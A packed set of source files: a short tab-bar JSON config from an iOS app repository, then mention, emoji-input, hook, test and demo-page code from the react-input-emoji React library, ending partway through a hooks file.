<|start_filename|>Candy/Resources/JSON/MainVCSettings.json<|end_filename|>
[
{
"vcName": "VideoHallViewController",
"title": "放映厅",
"normalImg": "fangyingting-hui",
"selImg": "fangyingting-hong"
},
{
"vcName": "VideoPageViewController",
"title": "视频",
"normalImg": "shipin-hui",
"selImg": "shipin-hong"
},
{
"vcName": "UGCVideoListViewController",
"title": "小视频",
"normalImg": "xiaoshipin-hui",
"selImg": "xiaoshipin-hong"
}
]
| InsectQY/Candy |
<|start_filename|>src/components/mention-wrapper.js<|end_filename|>
// @ts-check
/* eslint-disable react/prop-types */
// vendors
import React, { useEffect, useRef, useState } from "react";
// hooks
import { useMention } from "../hooks/use-mention";
// components
import MentionUserList from "./mention-user-list";
/**
* @typedef {import('../types/types').MentionUser} MetionUser
*/
/**
* @typedef {import('../types/types').TextInputListeners} TextInputListeners
*/
/**
* @typedef {import('../types/types').SanitizeFn} SanitizeFn
*/
/**
* @typedef {Object} Props
* @property {(text: string) => Promise<MetionUser[]>=} searchMention
* @property {(event: keyof TextInputListeners, fn: import('../types/types').Listerner<any>) => () => void} addEventListener
* @property {(html: string) => void} appendContent
* @property {(fn: SanitizeFn) => void} addSanitizeFn
*/
// eslint-disable-next-line valid-jsdoc
/** @type {React.FC<Props>} */
const MentionWrapper = ({
searchMention,
addEventListener,
appendContent,
addSanitizeFn
}) => {
/** @type {React.MutableRefObject<import('./mention-user-list').Ref | null>} */
const metionUserListRef = useRef(null);
const [showUserList, setShowUserList] = useState(false);
const {
mentionSearchText,
mentionUsers,
loading,
onKeyUp,
onFocus,
onSelectUser
} = useMention(searchMention);
useEffect(() => {
addSanitizeFn(html => {
const container = document.createElement("div");
container.innerHTML = html;
const mentionsEl = Array.prototype.slice.call(
container.querySelectorAll(".react-input-emoji--mention--text")
);
mentionsEl.forEach(mentionEl => {
container.innerHTML = container.innerHTML.replace(
mentionEl.outerHTML,
`@[${mentionEl.dataset.mentionName}](userId:${mentionEl.dataset.mentionId})`
);
});
return container.innerHTML;
});
}, [addSanitizeFn]);
useEffect(() => {
setShowUserList(mentionUsers.length > 0);
}, [mentionUsers]);
useEffect(() => {
/** */
function checkClickOutside() {
setShowUserList(false);
}
document.addEventListener("click", checkClickOutside);
return () => {
document.removeEventListener("click", checkClickOutside);
};
}, []);
useEffect(() => {
const unsubscribe = addEventListener("keyUp", onKeyUp);
return () => {
unsubscribe();
};
}, [addEventListener, onKeyUp]);
useEffect(() => {
/**
*
* @param {React.KeyboardEvent} event
*/
function handleKeyDown(event) {
switch (event.key) {
case "Esc": // IE/Edge specific value
case "Escape":
setShowUserList(false);
break;
default:
break;
}
}
const unsubscribe = addEventListener("keyDown", handleKeyDown);
return () => {
unsubscribe();
};
}, [addEventListener]);
useEffect(() => {
const unsubscribe = addEventListener("focus", onFocus);
return () => {
unsubscribe();
};
}, [addEventListener, onFocus]);
useEffect(() => {
if (showUserList) {
const unsubscribeArrowUp = addEventListener("arrowUp", event => {
event.stopPropagation();
event.preventDefault();
metionUserListRef.current.prevUser();
});
const unsubscribeArrowDown = addEventListener("arrowDown", event => {
event.stopPropagation();
event.preventDefault();
metionUserListRef.current.nextUser();
});
return () => {
unsubscribeArrowUp();
unsubscribeArrowDown();
};
}
}, [addEventListener, showUserList]);
/**
*
* @param {MetionUser} user
*/
function handleSelect(user) {
onSelectUser();
appendContent(
`<span class="react-input-emoji--mention--text" data-mention-id="${user.id}" data-mention-name="${user.name}">@${user.name}</span> `
);
}
return (
<>
{loading ? (
<div className="react-input-emoji--mention--container">
<div className="react-input-emoji--mention--loading">
<div className="react-input-emoji--mention--loading--spinner">
Loading...
</div>
</div>
</div>
) : (
showUserList && (
<div
className="react-input-emoji--mention--container"
onClick={evt => evt.stopPropagation()}
>
<MentionUserList
ref={metionUserListRef}
mentionSearchText={mentionSearchText}
users={mentionUsers}
onSelect={handleSelect}
addEventListener={addEventListener}
/>
</div>
)
)}
</>
);
};
export default MentionWrapper;
<|start_filename|>src/hooks/user-pollute.js<|end_filename|>
// @ts-check
import { useCallback, useRef } from "react";
/**
* @typedef {import('../types/types').PolluteFn} PolluteFn
*/
// eslint-disable-next-line valid-jsdoc
/** */
export function usePollute() {
/** @type {React.MutableRefObject<PolluteFn[]>} */
const polluteFnsRef = useRef([]);
/** @type {(fn: PolluteFn) => void} */
const addPolluteFn = useCallback(fn => {
polluteFnsRef.current.push(fn);
}, []);
/** @type {(html: string) => string} */
const pollute = useCallback(text => {
const result = polluteFnsRef.current.reduce((acc, fn) => {
return fn(acc);
}, text);
return result;
}, []);
return { addPolluteFn, pollute };
}
<|start_filename|>src/components/mention-wrapper.test.js<|end_filename|>
// @ts-check
import React from "react";
import { render, screen, fireEvent, waitFor } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import "@testing-library/jest-dom";
import InputEmoji from "../index";
import { mentionUsers } from "../../fixtures/examples";
import { mockGetSelection } from "../../__mocks__/getSelectionMock";
import * as inputEventUtils from "../utils/input-event-utils";
const mockSearchMention = jest.fn(text => {
if (text === "@") {
return mentionUsers;
} else if (text === "@s") {
return [mentionUsers[0]];
} else {
return [];
}
});
afterEach(() => {
document.getSelection = document.getSelection;
});
test("should show user list when type @", async () => {
const { getByText } = render(
// @ts-ignore
<InputEmoji searchMention={mockSearchMention} />
);
mockGetSelection("@");
fireEvent.keyUp(screen.getByTestId("react-input-emoji--input"), {
key: "@",
code: "Digit2"
});
await waitFor(() => {
expect(getByText(/stacey\ fleming/i)).toBeInTheDocument();
expect(getByText(/rachel\ marshall/i)).toBeInTheDocument();
expect(getByText(/bernice\ patterson/i)).toBeInTheDocument();
});
});
test("should close user list when there is no match", async () => {
const { queryByText } = render(
// @ts-ignore
<InputEmoji searchMention={mockSearchMention} />
);
mockGetSelection("@t");
fireEvent.keyUp(screen.getByTestId("react-input-emoji--input"), {
key: "@",
code: "Digit2"
});
await waitFor(() => {
expect(queryByText(/stacey\ fleming/i)).not.toBeInTheDocument();
expect(queryByText(/rachel\ marshall/i)).not.toBeInTheDocument();
expect(queryByText(/bernice\ patterson/i)).not.toBeInTheDocument();
});
});
test("should add the matched string in a span tag", async () => {
const { getByTestId } = render(
// @ts-ignore
<InputEmoji searchMention={mockSearchMention} />
);
mockGetSelection("@s");
fireEvent.keyUp(screen.getByTestId("react-input-emoji--input"), {
key: "@",
code: "Digit2"
});
await waitFor(() => {
expect(getByTestId("metion-selected-word")).toBeInTheDocument();
});
});
test("should select the first item", async () => {
const { getByText } = render(
// @ts-ignore
<InputEmoji searchMention={mockSearchMention} />
);
mockGetSelection("@");
fireEvent.keyUp(screen.getByTestId("react-input-emoji--input"), {
key: "@",
code: "Digit2"
});
await waitFor(() => {
expect(getByText(/stacey\ fleming/i).parentElement).toHaveClass(
"react-input-emoji--mention--item__selected"
);
expect(getByText(/rachel\ marshall/i).parentElement).not.toHaveClass(
"react-input-emoji--mention--item__selected"
);
expect(getByText(/bernice\ patterson/i).parentElement).not.toHaveClass(
"react-input-emoji--mention--item__selected"
);
});
});
test("should selects the second item on user hover on it", async () => {
const { getByText } = render(
// @ts-ignore
<InputEmoji searchMention={mockSearchMention} />
);
mockGetSelection("@");
fireEvent.keyUp(screen.getByTestId("react-input-emoji--input"), {
key: "@",
code: "Digit2"
});
await waitFor(() => {
userEvent.hover(getByText(/rachel\ marshall/i));
expect(getByText(/stacey\ fleming/i).parentElement).not.toHaveClass(
"react-input-emoji--mention--item__selected"
);
expect(getByText(/rachel\ marshall/i).parentElement).toHaveClass(
"react-input-emoji--mention--item__selected"
);
expect(getByText(/bernice\ patterson/i).parentElement).not.toHaveClass(
"react-input-emoji--mention--item__selected"
);
});
});
test("should add a metion when clicks on an item", async () => {
const { getByText } = render(
// @ts-ignore
<InputEmoji searchMention={mockSearchMention} />
);
mockGetSelection("@");
const mock = jest.spyOn(inputEventUtils, "handlePasteHtmlAtCaret");
mock.mockImplementation(() => {
screen.getByTestId("react-input-emoji--input").innerHTML =
"@rachel marshall";
});
fireEvent.keyUp(screen.getByTestId("react-input-emoji--input"), {
key: "@",
code: "Digit2"
});
await waitFor(() => {
userEvent.click(getByText(/rachel\ marshall/i).parentElement);
expect(getByText(/@rachel\ marshall/i)).toBeInTheDocument();
});
});
test.todo("should call appendContent when press enter");
<|start_filename|>src/hooks/use-mention.test.js<|end_filename|>
// @ts-check
import { renderHook, act } from "@testing-library/react-hooks/dom";
import { mentionUsers } from "../../fixtures/examples";
import { useMention } from "./use-mention";
test("should return mention users", async () => {
// eslint-disable-next-line valid-jsdoc
/**
*
* @param {string} _text
* @returns
*/
async function searchMention(_text) {
return [...mentionUsers];
}
const { result, waitForNextUpdate } = renderHook(() =>
useMention(searchMention)
);
mockGetSelection("@");
act(() => {
// @ts-ignore
result.current.onKeyUp({ key: "@" });
});
await waitForNextUpdate();
expect(result.current.mentionUsers).toEqual(mentionUsers);
});
test("should return empty users", async () => {
// eslint-disable-next-line valid-jsdoc
/**
*
* @param {string} _text
* @returns
*/
const searchMention = jest.fn(async _text => []);
const { result } = renderHook(() => useMention(searchMention));
mockGetSelection("a");
act(() => {
// @ts-ignore
result.current.onKeyUp({ key: "a" });
});
expect(result.current.mentionUsers).toEqual([]);
expect(searchMention.mock.calls.length).toBe(0);
});
test("should return empty users when @ is after another letter", async () => {
// eslint-disable-next-line valid-jsdoc
/**
*
* @param {string} _text
* @returns
*/
const searchMention = jest.fn(async _text => []);
const { result } = renderHook(() => useMention(searchMention));
mockGetSelection("a@");
act(() => {
// @ts-ignore
result.current.onKeyUp({ key: "@" });
});
expect(result.current.mentionUsers).toEqual([]);
expect(searchMention.mock.calls.length).toBe(0);
});
/**
*
* @param {string} value
*/
function mockGetSelection(value) {
const anchorNode = document.createTextNode(value);
const getRangeAt = jest.fn(() => ({
selectNodeContents: jest.fn(),
setEnd: jest.fn(),
cloneRange: jest.fn(() => ({
selectNodeContents: jest.fn(),
setEnd: jest.fn(),
toString: jest.fn(() => ({
length: 1
}))
}))
}));
document.getSelection = jest.fn().mockReturnValue({ anchorNode, getRangeAt });
}
<|start_filename|>src/hooks/use-expose.js<|end_filename|>
// @ts-check
import { useImperativeHandle } from "react";
import { useSanitize } from "./use-sanitize";
/**
* @typedef {Object} Props
* @property {React.Ref<any>} ref
* @property {React.MutableRefObject<import('../text-input').Ref>} textInputRef
* @property {(value: string) => void} setValue
* @property {() => void} emitChange
*/
/**
*
* @param {Props} props
*/
export function useExpose({ ref, textInputRef, setValue, emitChange }) {
const { sanitize, sanitizedTextRef } = useSanitize();
useImperativeHandle(ref, () => ({
get value() {
return sanitizedTextRef.current;
},
set value(value) {
setValue(value);
},
focus: () => {
textInputRef.current.focus();
},
blur: () => {
sanitize(textInputRef.current.html);
emitChange();
}
}));
}
<|start_filename|>src/hooks/use-mention.js<|end_filename|>
// @ts-check
import { useCallback, useState } from "react";
import {
deleteTextFromAtToCaret,
getElementWithFocus,
getTextFromAtToCaret
} from "../utils/mention-utils";
/**
* @typedef {import('../types/types').MentionUser} MentionUser
*/
// eslint-disable-next-line valid-jsdoc
/**
*
* @param {(text: string) => Promise<MentionUser[]>=} searchMention
* @returns {{mentionSearchText: string | null, mentionUsers: MentionUser[], onKeyUp: (event: React.KeyboardEvent) => void, onFocus: () => void, onSelectUser: () => void, loading: boolean}}
*/
export function useMention(searchMention) {
const [loading, setLoading] = useState(false);
/** @type {[MentionUser[], React.Dispatch<React.SetStateAction<MentionUser[]>>]} */
const [mentionUsers, setMentionUsers] = useState([]);
/** @type {[string | null, React.Dispatch<React.SetStateAction<string | null>>]} */
const [mentionSearchText, setMentionSearchText] = useState(null);
const onSelectUser = useCallback(() => {
deleteTextFromAtToCaret();
setMentionUsers([]);
}, []);
/** */
const checkMentionText = useCallback(async () => {
const metionText = getTextFromAtToCaret();
setMentionSearchText(metionText);
if (metionText === null) {
setMentionUsers([]);
} else {
setLoading(true);
const users = await searchMention(metionText);
setLoading(false);
setMentionUsers(users);
}
}, [searchMention]);
/** @type {(event: React.KeyboardEvent) => void} */
const onKeyUp = useCallback(
async event => {
if (typeof searchMention !== "function") return;
if (
event.key === "Backspace" &&
getElementWithFocus()?.element.parentElement.hasAttribute(
"data-mention-id"
)
) {
const elementWithFocus = getElementWithFocus();
elementWithFocus.element.parentElement.remove();
} else if (
!["ArrowUp", "ArrowDown", "Esc", "Escape"].includes(event.key)
) {
checkMentionText();
}
},
[checkMentionText, searchMention]
);
const onFocus = useCallback(() => {
checkMentionText();
}, [checkMentionText]);
return {
mentionSearchText,
mentionUsers,
onKeyUp,
onFocus,
onSelectUser,
loading
};
}
<|start_filename|>src/utils/input-event-utils.js<|end_filename|>
// @ts-check
import {
getImageEmoji,
replaceAllTextEmojis,
replaceAllTextEmojiToString
} from "./emoji-utils";
/**
* Handle copy of current selected text
* @param {React.ClipboardEvent} event
*/
export function handleCopy(event) {
const selectedText = window.getSelection();
let container = document.createElement("div");
for (let i = 0, len = selectedText.rangeCount; i < len; ++i) {
container.appendChild(selectedText.getRangeAt(i).cloneContents());
}
container = replaceEmojiToString(container);
event.clipboardData.setData("text", container.innerText);
event.preventDefault();
}
/**
*
* @param {string} html
*/
export function handlePasteHtmlAtCaret(html) {
let sel;
let range;
if (window.getSelection) {
// IE9 and non-IE
sel = window.getSelection();
if (sel.getRangeAt && sel.rangeCount) {
range = sel.getRangeAt(0);
range.deleteContents();
// Range.createContextualFragment() would be useful here but is
// non-standard and not supported in all browsers (IE9, for one)
const el = document.createElement("div");
el.innerHTML = html;
const frag = document.createDocumentFragment();
let node;
let lastNode;
while ((node = el.firstChild)) {
lastNode = frag.appendChild(node);
}
range.insertNode(frag);
// Preserve the selection
if (lastNode) {
range = range.cloneRange();
range.setStartAfter(lastNode);
range.collapse(true);
sel.removeAllRanges();
sel.addRange(range);
}
}
}
}
/**
* Replace emoji img to its string value
* @param {HTMLDivElement} container
* @return {HTMLDivElement}
*/
function replaceEmojiToString(container) {
const images = Array.prototype.slice.call(container.querySelectorAll("img"));
images.forEach(image => {
image.outerHTML = image.dataset.emoji;
});
return container;
}
/**
* Handle past on input
* @param {React.ClipboardEvent} event
*/
export function handlePaste(event) {
event.preventDefault();
let content;
if (event.clipboardData) {
content = event.clipboardData.getData("text/plain");
content = replaceAllTextEmojis(content);
document.execCommand("insertHTML", false, content);
}
}
/**
* @typedef {object} HandleKeyDownOptions
* @property {HTMLDivElement} placeholderEl
* @property {number} maxLength
* @property {HTMLDivElement} inputEl
* @property {React.MutableRefObject<string>} cleanedTextRef
* @property {React.MutableRefObject<HTMLDivElement>} textInputRef
* @property {boolean} cleanOnEnter
* @property {function(): void} emitChange
* @property {(function(string): void)=} onEnter
* @property {(function(KeyboardEvent): void)=} onKeyDown
* @property {(function(string): void)} updateHTML
*/
// eslint-disable-next-line valid-jsdoc
/**
* @typedef {Object} HandleSelectEmojiProps
* @property {import("../types/types").EmojiMartItem} emoji
* @property {React.MutableRefObject<import('../text-input').Ref>} textInputRef
* @property {boolean} keepOpenend
* @property {() => void} toggleShowPicker
* @property {number=} maxLength
*/
/**
*
* @param {HandleSelectEmojiProps} props
*/
export function handleSelectEmoji({
emoji,
textInputRef,
keepOpenend,
toggleShowPicker,
maxLength
}) {
if (
typeof maxLength !== "undefined" &&
totalCharacters(textInputRef.current) >= maxLength
) {
return;
}
textInputRef.current.appendContent(getImageEmoji(emoji));
if (!keepOpenend) {
toggleShowPicker();
}
}
/**
*
* @param {{text: string, html: string}} props
* @return {number}
*/
export function totalCharacters({ text, html }) {
const textCount = text.length;
const emojisCount = (html.match(/<img/g) || []).length;
return textCount + emojisCount;
}
// eslint-disable-next-line valid-jsdoc
/**
* Handle keyup event
* @param {() => void} emitChange
* @param {(event: KeyboardEvent) => void} onKeyDownMention
* @param {React.MutableRefObject<string>} cleanedTextRef
* @param {React.MutableRefObject<HTMLDivElement>} textInputRef
* @return {(event: KeyboardEvent) => void}
*/
export function handleKeyup(
emitChange,
onKeyDownMention,
cleanedTextRef,
textInputRef
) {
return event => {
const text = replaceAllTextEmojiToString(textInputRef.current.innerHTML);
cleanedTextRef.current = text;
emitChange();
onKeyDownMention(event);
};
}
/**
* Handle focus event
* @param {function(FocusEvent): void} onFocus
* @return {function(FocusEvent): void}
*/
export function handleFocus(onFocus) {
return event => {
onFocus(event);
};
}
<|start_filename|>example/src/App.js<|end_filename|>
// @ts-check
import React from "react";
import ExampleCode from "./ExampleCode";
import ExampleInput from "./ExampleInput";
// style
import {
GlobalStyle,
Header,
Title,
Subtitle,
Main,
Description,
Snippet,
Code,
Example,
TableTh,
Table,
TableTd,
TableTr,
EmojiInput,
EmojiInputCursor,
Footer,
Credits,
FooterLink,
GithubButtons
} from "./style";
/**
*
* @return {JSX.Element}
*/
export default function App() {
return (
<React.Fragment>
<GlobalStyle />
<Header>
<Title>react-input-emoji</Title>
<Subtitle>A React input that supports emojis</Subtitle>
<Subtitle color="white">
<EmojiInput>
<span role="img" aria-label="heart eyes">
😍
</span>
<span
role="img"
aria-label="Face with Stuck-out Tongue and Winking Eye"
>
😜
</span>
<span role="img" aria-label="Face with Tears of Joy">
😂
</span>
<span role="img" aria-label="Face with Stuck-out Tongue">
😛{" "}
</span>
<EmojiInputCursor>|</EmojiInputCursor>
</EmojiInput>
</Subtitle>
<GithubButtons>
<iframe
src="https://ghbtns.com/github-btn.html?user=cesarwbr&repo=react-input-emoji&type=watch&count=true&size=large"
frameBorder="0"
scrolling="0"
width="152"
height="30"
title="Github stars"
/>
<iframe
src="https://ghbtns.com/github-btn.html?user=cesarwbr&repo=react-input-emoji&type=fork&count=true&size=large"
frameBorder="0"
scrolling="0"
width="156"
height="30"
title="Github fork"
/>
</GithubButtons>
</Header>
<Main>
<Description>
InputEmoji provides a simple way to have an input element with emoji
picker support. Click the picker button next to the input field and
select an emoji from the popup window. Done!
</Description>
<h1>Install</h1>
<Description>You can get it on npm.</Description>
<Snippet>
<Code>npm install react-input-emoji --save</Code>
</Snippet>
<h1>Usage</h1>
<Description>
After install import the react-input-emoji component to display your
input with emoji support like so:
</Description>
<Example>
<ExampleInput />
</Example>
<Snippet>
<Code>
<ExampleCode />
</Code>
</Snippet>
<h1>Props</h1>
<Table>
<thead>
<tr>
<TableTh>Prop</TableTh>
<TableTh>Description</TableTh>
</tr>
</thead>
<tbody>
<TableTr>
<TableTd>
<Code>value</Code>
</TableTd>
<TableTd>The input value.</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>onChange</Code>
</TableTd>
<TableTd>
This function is called when the value of the input changes. The
first argument is the current value.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>onResize</Code>
</TableTd>
<TableTd>
This function is called when the width or the height of the
input changes. The first argument is the current size value.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>onClick</Code>
</TableTd>
<TableTd>
This function is called when the input is clicked.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>onFocus</Code>
</TableTd>
<TableTd>
This function is called when the input has received focus.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>cleanOnEnter</Code>
</TableTd>
<TableTd>Clean the input value after the keydown event.</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>onEnter</Code>
</TableTd>
<TableTd>
This function is called after the keydown event is fired with
the <Code inline>keyCode === 13</Code> returning the last value.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>placeholder</Code>
</TableTd>
<TableTd>
Defaults to "Type a message". Set the placeholder of
the input.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>height</Code>
</TableTd>
<TableTd>
Defaults to 40. The total height of the area in which the
element is rendered.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>maxLength</Code>
</TableTd>
<TableTd>
The maximum number of characters allowed in the element.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>borderRadius</Code>
</TableTd>
<TableTd>
Defaults to 21. The border radius of the input container.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>borderColor</Code>
</TableTd>
<TableTd>
Defaults to <Code inline>#EAEAEA</Code>. The border color of the
input container.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>fontSize</Code>
</TableTd>
<TableTd>
Defaults to 15. The font size of the placeholder and input
container.
</TableTd>
</TableTr>
<TableTr>
<TableTd>
<Code>fontFamily</Code>
</TableTd>
<TableTd>
Defaults to "sans-serif". The font family of the
placeholder and input container.
</TableTd>
</TableTr>
</tbody>
</Table>
</Main>
<Footer>
<Credits>
Made by{" "}
<FooterLink href="https://github.com/cesarwbr">
<NAME>
</FooterLink>{" "}
under{" "}
<FooterLink href="https://cesarwilliam.mit-license.org/">
MIT license
</FooterLink>
</Credits>
</Footer>
</React.Fragment>
);
}
<|start_filename|>src/utils/observer.js<|end_filename|>
// @ts-check
// eslint-disable-next-line valid-jsdoc
/**
* @template T
* @returns {import('../types/types').ListenerObj<T>}
*/
export function createObserver() {
/** @type {import('../types/types').Listerner<T>[]} */
let listeners = [];
return {
subscribe: listener => {
listeners.push(listener);
return () => {
listeners = listeners.filter(l => l !== listener);
};
},
publish: event => {
listeners.forEach(listener => listener(event));
},
get currentListerners() {
return listeners;
}
};
}
<|start_filename|>src/utils/mention-utils.js<|end_filename|>
// @ts-check
/**
*
* @return {string | null}
*/
export function getTextFromAtToCaret() {
const range = getRangeFromAtToCaret();
if (!range) return null;
const text = range.text.substring(range.begin, range.end);
return text || null;
}
// eslint-disable-next-line valid-jsdoc
/** */
export function deleteTextFromAtToCaret() {
const range = getRangeFromAtToCaret();
if (!range) return;
// @ts-ignore
range.element.deleteData(range.begin, range.end - range.begin);
}
/**
*
* @return {{begin: number, end: number, text: string, element: Node} | null}
*/
function getRangeFromAtToCaret() {
const elementWithFocus = getElementWithFocus();
if (!elementWithFocus) {
return null;
}
const { element, caretOffset } = elementWithFocus;
const text = element.textContent;
const lastAt = text.lastIndexOf("@");
if (
lastAt === -1 ||
lastAt >= caretOffset ||
(lastAt !== 0 && text[lastAt - 1] !== " ")
) {
return null;
}
return { begin: lastAt, end: caretOffset, text, element };
}
/**
*
* @return {{element: Node, caretOffset: number}}
*/
export function getElementWithFocus() {
const element = getSelectionStart();
if (element === null) {
return null;
}
let caretOffset = 0;
if (typeof window.getSelection != "undefined") {
const range = window.getSelection().getRangeAt(0);
const preCaretRange = range.cloneRange();
preCaretRange.selectNodeContents(element);
preCaretRange.setEnd(range.endContainer, range.endOffset);
caretOffset = preCaretRange.toString().length;
} else if (
// @ts-ignore
typeof document.selection != "undefined" &&
// @ts-ignore
document.selection.type != "Control"
) {
// @ts-ignore
const textRange = document.selection.createRange();
// @ts-ignore
const preCaretTextRange = document.body.createTextRange();
preCaretTextRange.moveToElementText(element);
preCaretTextRange.setEndPoint("EndToEnd", textRange);
caretOffset = preCaretTextRange.text.length;
}
return { element, caretOffset };
}
/**
*
* @return {Node | null}
*/
function getSelectionStart() {
const node = document.getSelection().anchorNode;
return node?.nodeType == 3 ? node : null;
}
<|start_filename|>__mocks__/getSelectionMock.js<|end_filename|>
// @ts-check
/**
*
* @param {string} value
*/
export function mockGetSelection(value) {
const anchorNode = document.createTextNode(value);
const getRangeAt = jest.fn(() => ({
selectNodeContents: jest.fn(),
setEnd: jest.fn(),
cloneRange: jest.fn(() => ({
selectNodeContents: jest.fn(),
setEnd: jest.fn(),
toString: jest.fn(() => ({
length: value.length
}))
}))
}));
document.getSelection = jest.fn().mockReturnValue({ anchorNode, getRangeAt });
}
<|start_filename|>example/src/ExampleCode.js<|end_filename|>
// @ts-check
// vendors
import React, { memo, useMemo } from "react";
import Highlight from "react-highlight.js";
/**
*
* @return {JSX.Element}
*/
function ExampleCode() {
const exampleCode = useMemo(
() => `
import React, { useState } from 'react'
import InputEmoji from 'react-input-emoji'
export default function Example () {
const [ text, setText ] = useState('')
function handleOnEnter (text) {
console.log('enter', text)
}
return (
<InputEmoji
value={text}
onChange={setText}
cleanOnEnter
onEnter={handleOnEnter}
placeholder="Type a message"
/>
)
}`,
[]
);
return <Highlight language="javascript">{exampleCode}</Highlight>;
}
export default memo(ExampleCode);
<|start_filename|>src/hooks/use-emit.js<|end_filename|>
// @ts-check
import { useCallback, useEffect, useRef } from "react";
// eslint-disable-next-line valid-jsdoc
/**
* useEmit
* @param {React.MutableRefObject<import('../text-input').Ref>} textInputRef
* @param {(size: {width: number, height: number}) => void} onResize
* @param {(text: string) => void} onChange
*/
export function useEmit(textInputRef, onResize, onChange) {
const currentSizeRef = useRef(null);
const onChangeFn = useRef(onChange);
const checkAndEmitResize = useCallback(() => {
if (textInputRef.current) {
const currentSize = currentSizeRef.current;
const nextSize = textInputRef.current.size;
if (
(!currentSize ||
currentSize.width !== nextSize.width ||
currentSize.height !== nextSize.height) &&
typeof onResize === "function"
) {
onResize(nextSize);
}
currentSizeRef.current = nextSize;
}
}, [onResize, textInputRef]);
const emitChange = useCallback((sanitizedText) => {
if (typeof onChangeFn.current === "function") {
onChangeFn.current(sanitizedText);
}
if (typeof onResize === "function") {
checkAndEmitResize();
}
}, [checkAndEmitResize, onResize]);
useEffect(() => {
if (textInputRef.current) {
checkAndEmitResize();
}
}, [checkAndEmitResize, textInputRef]);
return emitChange;
}
<|start_filename|>src/text-input.js<|end_filename|>
// @ts-check
/* eslint-disable react/prop-types */
// vendors
import React, { useImperativeHandle, forwardRef, useRef } from "react";
import { handlePasteHtmlAtCaret } from "./utils/input-event-utils";
/**
* @typedef {Object} Props
* @property {(event: React.KeyboardEvent) => void} onKeyDown
* @property {(event: React.KeyboardEvent) => void} onKeyUp
* @property {() => void} onFocus
* @property {() => void=} onBlur
* @property {(sanitizedText: string) => void=} onChange
* @property {(event: React.KeyboardEvent) => void} onArrowUp
* @property {(event: React.KeyboardEvent) => void} onArrowDown
* @property {(event: React.KeyboardEvent) => void} onEnter
* @property {(event: React.ClipboardEvent) => void} onCopy
* @property {(event: React.ClipboardEvent) => void} onPaste
* @property {string} placeholder
* @property {React.CSSProperties} style
* @property {number} tabIndex
* @property {string} className
* @property {(html: string) => void} onChange
*/
/**
* @typedef {{
* appendContent: (html: string) => void;
* html: string;
* text: string;
* size: { width: number; height: number;};
* focus: () => void;
* }} Ref
*/
// eslint-disable-next-line valid-jsdoc
/** @type {React.ForwardRefRenderFunction<Ref, Props>} */
const TextInput = (
{ placeholder, style, tabIndex, className, onChange, ...props },
ref
) => {
useImperativeHandle(ref, () => ({
appendContent: html => {
textInputRef.current.focus();
handlePasteHtmlAtCaret(html);
textInputRef.current.focus();
if (textInputRef.current.innerHTML.trim() === "") {
placeholderRef.current.style.visibility = "visible";
} else {
placeholderRef.current.style.visibility = "hidden";
}
onChange(textInputRef.current.innerHTML);
},
set html(value) {
textInputRef.current.innerHTML = value;
if (value.trim() === "") {
placeholderRef.current.style.visibility = "visible";
} else {
placeholderRef.current.style.visibility = "hidden";
}
onChange(textInputRef.current.innerHTML);
},
get html() {
return textInputRef.current.innerHTML;
},
get text() {
return textInputRef.current.innerText;
},
get size() {
return {
width: textInputRef.current.offsetWidth,
height: textInputRef.current.offsetHeight
};
},
focus() {
textInputRef.current.focus();
}
}));
/** @type {React.MutableRefObject<HTMLDivElement>} */
const placeholderRef = useRef(null);
/** @type {React.MutableRefObject<HTMLDivElement>} */
const textInputRef = useRef(null);
/**
*
* @param {React.KeyboardEvent} event
*/
function handleKeyDown(event) {
if (event.key === "Enter") {
props.onEnter(event);
} else if (event.key === "ArrowUp") {
props.onArrowUp(event);
} else if (event.key === "ArrowDown") {
props.onArrowDown(event);
} else {
if (event.key.length === 1) {
placeholderRef.current.style.visibility = "hidden";
}
}
props.onKeyDown(event);
}
/** */
function handleClick() {
props.onFocus();
}
/**
*
* @param {React.KeyboardEvent} event
*/
function handleKeyUp(event) {
props.onKeyUp(event);
const input = textInputRef.current;
if (input.innerText?.trim() === "") {
placeholderRef.current.style.visibility = "visible";
} else {
placeholderRef.current.style.visibility = "hidden";
}
onChange(textInputRef.current.innerHTML);
}
return (
<div className="react-input-emoji--container" style={style}>
<div className="react-input-emoji--wrapper" onClick={handleClick}>
<div ref={placeholderRef} className="react-input-emoji--placeholder">
{placeholder}
</div>
<div
ref={textInputRef}
onKeyDown={handleKeyDown}
onKeyUp={handleKeyUp}
tabIndex={tabIndex}
contentEditable
className={`react-input-emoji--input${className ? ` ${className}` : ""
}`}
onBlur={props.onBlur}
onCopy={props.onCopy}
onPaste={props.onPaste}
data-testid="react-input-emoji--input"
/>
</div>
</div>
);
};
const TextInputWithRef = forwardRef(TextInput);
export default TextInputWithRef;
<|start_filename|>src/utils/use-debounce.js<|end_filename|>
// vendors
import { useRef, useCallback, useEffect } from 'react'
export default function useDebounce (callback, delay) {
const maxWaitArgs = useRef([])
const functionTimeoutHandler = useRef(null)
const isComponentUnmounted = useRef(false)
const debouncedFunction = callback
useEffect(
() => () => {
// we use flag, as we allow to call callPending outside the hook
isComponentUnmounted.current = true
},
[]
)
const debouncedCallback = useCallback(
(...args) => {
maxWaitArgs.current = args
clearTimeout(functionTimeoutHandler.current)
functionTimeoutHandler.current = setTimeout(() => {
if (!isComponentUnmounted.current) {
debouncedFunction(...args)
}
}, delay)
},
[debouncedFunction, delay]
)
// At the moment, we use 3 args array so that we save backward compatibility
return [debouncedCallback]
}
<|start_filename|>src/hooks/use-event-listeners.test.js<|end_filename|>
// @ts-check
import { renderHook, act } from "@testing-library/react-hooks/dom";
import { useEventListeners } from "./use-event-listeners";
test("should register a listener and publish an event", () => {
const { result } = renderHook(() => useEventListeners());
let event = "";
act(() => {
result.current.addEventListener("keyUp", evt => {
event = evt;
});
result.current.listeners.keyUp.publish("hey");
});
expect(event).toEqual("hey");
});
<|start_filename|>src/hooks/use-event-listeners.js<|end_filename|>
// @ts-check
import { useCallback, useMemo } from "react";
